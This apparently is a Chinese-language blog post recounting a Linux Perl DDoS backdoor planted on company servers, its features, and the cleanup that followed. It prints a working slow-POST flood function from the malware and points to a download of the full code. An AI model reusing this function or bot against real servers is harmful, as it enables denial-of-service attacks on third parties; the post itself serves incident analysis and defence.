上個月數據中心的多台服務器接連被人掛馬,又有客戶的網站被 DDOS,公司的運維整個都處於一種被打了雞血的亢奮狀態,連我手上的項目都被部門老大停了,調去幫運維。第一次見到 Linux 下面的木馬,突然想起來,還是值得記錄一下。

分析日誌發現 Attacker 應該是通過某種途徑獲得了客戶的後台密碼,然後利用控制面板的漏洞,上傳了壓縮包里的 falabiya.cgi 並運行。這樣會生成 .X11-unix 文件(其實就是 falabiya 那一段 base64_decode), .X11-unix即具體的後門程序。

信安專業的 Felix021 和芒果師兄都對這個案例表示出了興趣,於是我分別和他們分析了一下。這是一段 perl 腳本,寫得十分精妙。具體功能就是拿我們的服務器做肉雞,監聽端口獲取指令,向指定地址發送數據,從而實行 DDOS 攻擊。代碼內置了幾乎所有瀏覽器的 UA 字符串,每次都隨機抽取其中一個,偽裝為正常訪問。genGarbage、tcp flood、udp flood、slow get/post 等各種 DDOS 方式均有實現,特別是 sendSlowPostRequest 這個方法,實在太賤了,一點點地發,對方必須 hold 住資源等你發完。。短短數百行代碼,卻對各種錯誤異常處理得十分仔細,必然出自高人之手。注釋里有些不能識別的字符,也不知道是什麼編碼,無法推斷是哪個國家的黑客寫的。。

sub sendSlowPostRequest {
	my $host = $_[0];
	my $port = $_[1];
	my $path = $_[2];	
	my $contentLen = $_[3];	
	my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
 
	print "start\n";
 
	socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	$iaddr = inet_aton($host);
	$paddr = sockaddr_in($port, $iaddr);
	connect(SOCK, $paddr);
 
	#send header
	send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0);	
	send (SOCK, "Host: $host\r\n", 0);	
	send (SOCK, "User-Agent: $ua\r\n", 0);	
	send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0);	
	send (SOCK, "Content-length: $contentLen\r\n", 0);	
	send (SOCK, "\r\n", 0);	
 
	#send body
	for my $i (1..$contentLen){
		my $symbol = substr $chars, int rand length($chars), 1;
		print "$symbol ";
		send (SOCK, $symbol, 0);
		sleep 3;
	}
	send (SOCK, "\r\n", 0);
	close(SOCK);
	print "end\n";
}

後來我們清理掉了所有木馬,限制腳本運行,配置防火牆阻止向外發送異常數據。至於我們自己被 DDOS 攻擊,也是配防火牆搞定,那幾台設備好幾百萬,還是相當給力的。因為來自中國的攻擊很多,Boss 一直對內地黑客十分“敬仰”,要我介紹幾個給他認識。。其實我是了解國內那些所謂的“黑客”的,不得已只好把也是武大信安畢業後來去中科院的 LC 拉來……後來 Boss 還跑去北京找綠盟談過合作,據說他家要上市了。

代碼請猛戳這裡下載。有任何研究發現,歡迎分享。

推薦閱讀:深入淺出DDoS攻擊防禦